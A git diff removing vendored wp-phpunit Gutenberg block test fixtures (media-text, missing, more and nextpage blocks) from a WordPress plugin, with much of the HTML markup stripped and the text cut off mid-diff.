          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.json deleted file mode 100644 index 548f2dbd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.json +++ /dev/null @@ -1,33 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/media-text", - "isValid": true, - "attributes": { - "align": "none", - "mediaAlt": "my alt", - "mediaPosition": "left", - "mediaId": 17985, - "mediaUrl": "http://localhost/wp-content/uploads/2018/09/1600px-Mount_Everest_as_seen_from_Drukair2_PLW_edit.jpg", - "mediaType": "image", - "mediaWidth": 50, - "isStackedOnMobile": false - }, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "Content", - "dropCap": false, - "placeholder": "Content…", - "fontSize": "large" - }, - "innerBlocks": [], - "originalContent": "

          Content

          " - } - ], - "originalContent": "
          \n\t
          \n\t\t\"my\n\t
          \n\t
          \n\t\t\n\t
          \n
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.parsed.json deleted file mode 100644 index e078f9c6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.parsed.json +++ /dev/null @@ -1,39 +0,0 @@ -[ - { - "blockName": "core/media-text", - "attrs": { - "align": "none", - "mediaId": 17985, - "mediaType": "image" - }, - "innerBlocks": [ - { - "blockName": "core/paragraph", - "attrs": { - "placeholder": "Content…", - "fontSize": "large" - }, - "innerBlocks": [], - "innerHTML": "\n\t\t

          Content

          \n\t\t", - "innerContent": [ - "\n\t\t

          Content

          \n\t\t" - ] - } - ], - "innerHTML": "\n
          \n\t
          \n\t\t\"my\n\t
          \n\t
          \n\t\t\n\t
          \n
          \n", - "innerContent": [ - "\n
          \n\t
          \n\t\t\"my\n\t
          \n\t
          \n\t\t", - null, - "\n\t
          \n
          \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.serialized.html deleted file mode 100644 index 3a28587c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.serialized.html +++ /dev/null @@ -1,5 +0,0 @@ - -
          my alt
          -

          Content

          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.server.html deleted file mode 100644 index c25f5431..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__image-alt-no-align.server.html +++ /dev/null @@ -1,12 +0,0 @@ - -
          -
          - my alt -
          -
          - -

          Content

          - -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.html deleted file mode 100644 index 0aa403f6..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.html +++ /dev/null @@ -1,12 +0,0 @@ - -
          -
          - -
          -
          - -

          My Content

          - -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.json deleted file mode 100644 index 85d29db7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.json +++ /dev/null @@ -1,33 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/media-text", - "isValid": true, - "attributes": { - "align": "wide", - "mediaAlt": "", - "mediaPosition": "left", - "mediaId": 17897, - "mediaUrl": "http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4", - "mediaType": "video", - "mediaWidth": 50, - "isStackedOnMobile": true - }, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "My Content", - "dropCap": false, - "placeholder": "Content…", - "fontSize": "large" - }, - "innerBlocks": [], - "originalContent": "

          My Content

          " - } - ], - "originalContent": "
          \n\t
          \n\t\t\n\t
          \n\t
          \n\t\t\n\t
          \n
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.parsed.json deleted file mode 100644 index 3451267a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.parsed.json +++ /dev/null @@ -1,39 +0,0 @@ -[ - { - "blockName": "core/media-text", - "attrs": { - "mediaId": 17897, - "mediaType": "video", - "isStackedOnMobile": true - }, - "innerBlocks": [ - { - "blockName": "core/paragraph", - "attrs": { - "placeholder": "Content…", - "fontSize": "large" - }, - "innerBlocks": [], - "innerHTML": "\n\t\t

          My Content

          \n\t\t", - "innerContent": [ - "\n\t\t

          My Content

          \n\t\t" - ] - } - ], - "innerHTML": "\n
          \n\t
          \n\t\t\n\t
          \n\t
          \n\t\t\n\t
          \n
          \n", - "innerContent": [ - "\n
          \n\t
          \n\t\t\n\t
          \n\t
          \n\t\t", - null, - "\n\t
          \n
          \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.serialized.html deleted file mode 100644 index b9a82b9d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.serialized.html +++ /dev/null @@ -1,5 +0,0 @@ - -
          -

          My Content

          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.server.html deleted file mode 100644 index 5a1c3993..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__is-stacked-on-mobile.server.html +++ /dev/null @@ -1,12 +0,0 @@ - -
          -
          - -
          -
          - -

          My Content

          - -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.html deleted file mode 100644 index b0772fb7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.html +++ /dev/null @@ -1,12 +0,0 @@ - -
          -
          - -
          -
          - -

          My video

          - -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.json deleted file mode 100644 index 42d3a5ab..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.json +++ /dev/null @@ -1,34 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/media-text", - "isValid": true, - "attributes": { - "align": "full", - "mediaAlt": "", - "mediaPosition": "right", - "mediaId": 17897, - "mediaUrl": "http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4", - "mediaType": "video", - "mediaWidth": 41, - "isStackedOnMobile": false - }, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "My video", - "align": "right", - "dropCap": false, - "placeholder": "Content…", - "fontSize": "large" - }, - "innerBlocks": [], - "originalContent": "

          My video

          " - } - ], - "originalContent": "
          \n\t
          \n\t\t\n\t
          \n\t
          \n\t\t\n\t
          \n
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.parsed.json deleted file mode 100644 index 37484502..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.parsed.json +++ /dev/null @@ -1,42 +0,0 @@ -[ - { - "blockName": "core/media-text", - "attrs": { - "align": "full", - "mediaPosition": "right", - "mediaId": 17897, - "mediaType": "video", - "mediaWidth": 41 - }, - "innerBlocks": [ - { - "blockName": "core/paragraph", - "attrs": { - "align": "right", - "placeholder": "Content…", - "fontSize": "large" - }, - "innerBlocks": [], - "innerHTML": "\n\t\t

          My video

          \n\t\t", - "innerContent": [ - "\n\t\t

          My video

          \n\t\t" - ] - } - ], - "innerHTML": "\n
          \n\t
          \n\t\t\n\t
          \n\t
          \n\t\t\n\t
          \n
          \n", - "innerContent": [ - "\n
          \n\t
          \n\t\t\n\t
          \n\t
          \n\t\t", - null, - "\n\t
          \n
          \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.serialized.html deleted file mode 100644 index a11efac9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.serialized.html +++ /dev/null @@ -1,5 +0,0 @@ - -
          -

          My video

          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.server.html deleted file mode 100644 index 41edc3e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__media-right-custom-width.server.html +++ /dev/null @@ -1,12 +0,0 @@ - -
          -
          - -
          -
          - -

          My video

          - -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.html deleted file mode 100644 index 48c13cac..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.html +++ /dev/null @@ -1,12 +0,0 @@ - -
          -
          - -
          -
          - -

          My Content

          - -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.json deleted file mode 100644 index 427195d7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.json +++ /dev/null @@ -1,33 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/media-text", - "isValid": true, - "attributes": { - "align": "wide", - "mediaAlt": "", - "mediaPosition": "left", - "mediaId": 17897, - "mediaUrl": "http://localhost/wp-content/uploads/2018/09/Jul-26-2018-11-34-54.mp4", - "mediaType": "video", - "mediaWidth": 50, - "isStackedOnMobile": false - }, - "innerBlocks": [ - { - "clientId": "_clientId_0", - "name": "core/paragraph", - "isValid": true, - "attributes": { - "content": "My Content", - "dropCap": false, - "placeholder": "Content…", - "fontSize": "large" - }, - "innerBlocks": [], - "originalContent": "

          My Content

          " - } - ], - "originalContent": "
          \n\t
          \n\t\t\n\t
          \n\t
          \n\t\t\n\t
          \n
          " - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.parsed.json deleted file mode 100644 index 4e06eb85..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.parsed.json +++ /dev/null @@ -1,38 +0,0 @@ -[ - { - "blockName": "core/media-text", - "attrs": { - "mediaId": 17897, - "mediaType": "video" - }, - "innerBlocks": [ - { - "blockName": "core/paragraph", - "attrs": { - "placeholder": "Content…", - "fontSize": "large" - }, - "innerBlocks": [], - "innerHTML": "\n\t\t

          My Content

          \n\t\t", - "innerContent": [ - "\n\t\t

          My Content

          \n\t\t" - ] - } - ], - "innerHTML": "\n
          \n\t
          \n\t\t\n\t
          \n\t
          \n\t\t\n\t
          \n
          \n", - "innerContent": [ - "\n
          \n\t
          \n\t\t\n\t
          \n\t
          \n\t\t", - null, - "\n\t
          \n
          \n" - ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ - "\n" - ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.serialized.html deleted file mode 100644 index f7302c9a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.serialized.html +++ /dev/null @@ -1,5 +0,0 @@ - -
          -

          My Content

          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.server.html deleted file mode 100644 index 88e9393d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__media-text__video.server.html +++ /dev/null @@ -1,12 +0,0 @@ - -
          -
          - -
          -
          - -

          My Content

          - -
          -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.html deleted file mode 100644 index a29cbdea..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.html +++ /dev/null @@ -1,6 +0,0 @@ - -

          Testing missing block with some

          -
          - HTML content -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.json deleted file mode 100644 index f7499ca7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.json +++ /dev/null @@ -1,14 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/missing", - "isValid": true, - "attributes": { - "originalName": "unregistered/example", - "originalUndelimitedContent": "

          Testing missing block with some

          \n
          \n\tHTML content\n
          ", - "originalContent": "\n

          Testing missing block with some

          \n
          \n\tHTML content\n
          \n" - }, - "innerBlocks": [], - "originalContent": "\n

          Testing missing block with some

          \n
          \n\tHTML content\n
          \n" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.parsed.json deleted file mode 100644 index 85ab1542..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.parsed.json +++ /dev/null @@ -1,19 +0,0 @@ -[ - { - "blockName": "unregistered/example", - "attrs": { - "attr1": "One", - "attr2": "Two" - }, - "innerBlocks": [], - "innerHTML": "\n

          Testing missing block with some

          \n
          \n\tHTML content\n
          \n", - "innerContent": [ "\n

          Testing missing block with some

          \n
          \n\tHTML content\n
          \n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.serialized.html deleted file mode 100644 index a29cbdea..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.serialized.html +++ /dev/null @@ -1,6 +0,0 @@ - -

          Testing missing block with some

          -
          - HTML content -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.server.html deleted file mode 100644 index 7862abe7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__missing.server.html +++ /dev/null @@ -1,6 +0,0 @@ - -

          Testing missing block with some

          -
          - HTML content -
          - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.html deleted file mode 100644 index b3b4f9e5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.json deleted file mode 100644 index 886638ab..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.json +++ /dev/null @@ -1,12 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/more", - "isValid": true, - "attributes": { - "noTeaser": false - }, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.parsed.json deleted file mode 100644 index b806b0c0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/more", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n\n", - "innerContent": [ "\n\n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.serialized.html deleted file mode 100644 index 3b02c97e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.serialized.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.server.html deleted file mode 100644 index cbba8ef2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more.server.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.html deleted file mode 100644 index 1dcca909..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.html +++ /dev/null @@ -1,4 +0,0 @@ - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.json deleted file mode 100644 index 7f7811e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.json +++ /dev/null @@ -1,13 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/more", - "isValid": true, - "attributes": { - "customText": "Continue Reading", - "noTeaser": true - }, - "innerBlocks": [], - "originalContent": "\n" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.parsed.json deleted file mode 100644 index e3096b9d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.parsed.json +++ /dev/null @@ -1,19 +0,0 @@ -[ - { - "blockName": "core/more", - "attrs": { - "customText": "Continue Reading", - "noTeaser": true - }, - "innerBlocks": [], - "innerHTML": "\n\n\n", - "innerContent": [ "\n\n\n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.serialized.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.serialized.html deleted file mode 100644 index 6cc18dcf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.serialized.html +++ /dev/null @@ -1,4 +0,0 @@ - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.server.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.server.html deleted file mode 100644 index 65cd03d8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__more__custom-text-teaser.server.html +++ /dev/null @@ -1,4 +0,0 @@ - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.html b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.html deleted file mode 100644 index 9bf78b8c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.html +++ /dev/null @@ -1,3 +0,0 @@ - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.json deleted file mode 100644 index 1a2c5478..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.json +++ /dev/null @@ -1,10 +0,0 @@ -[ - { - "clientId": "_clientId_0", - "name": "core/nextpage", - "isValid": true, - "attributes": {}, - "innerBlocks": [], - "originalContent": "" - } -] diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.parsed.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.parsed.json deleted file mode 100644 index ff3f2703..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/blocks/fixtures/core__nextpage.parsed.json +++ /dev/null @@ -1,16 +0,0 @@ -[ - { - "blockName": "core/nextpage", - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n\n", - "innerContent": [ "\n\n" ] - }, - { - "blockName": null, - "attrs": {}, - "innerBlocks": [], - "innerHTML": "\n", - "innerContent": [ "\n" ] - } -] diff --git 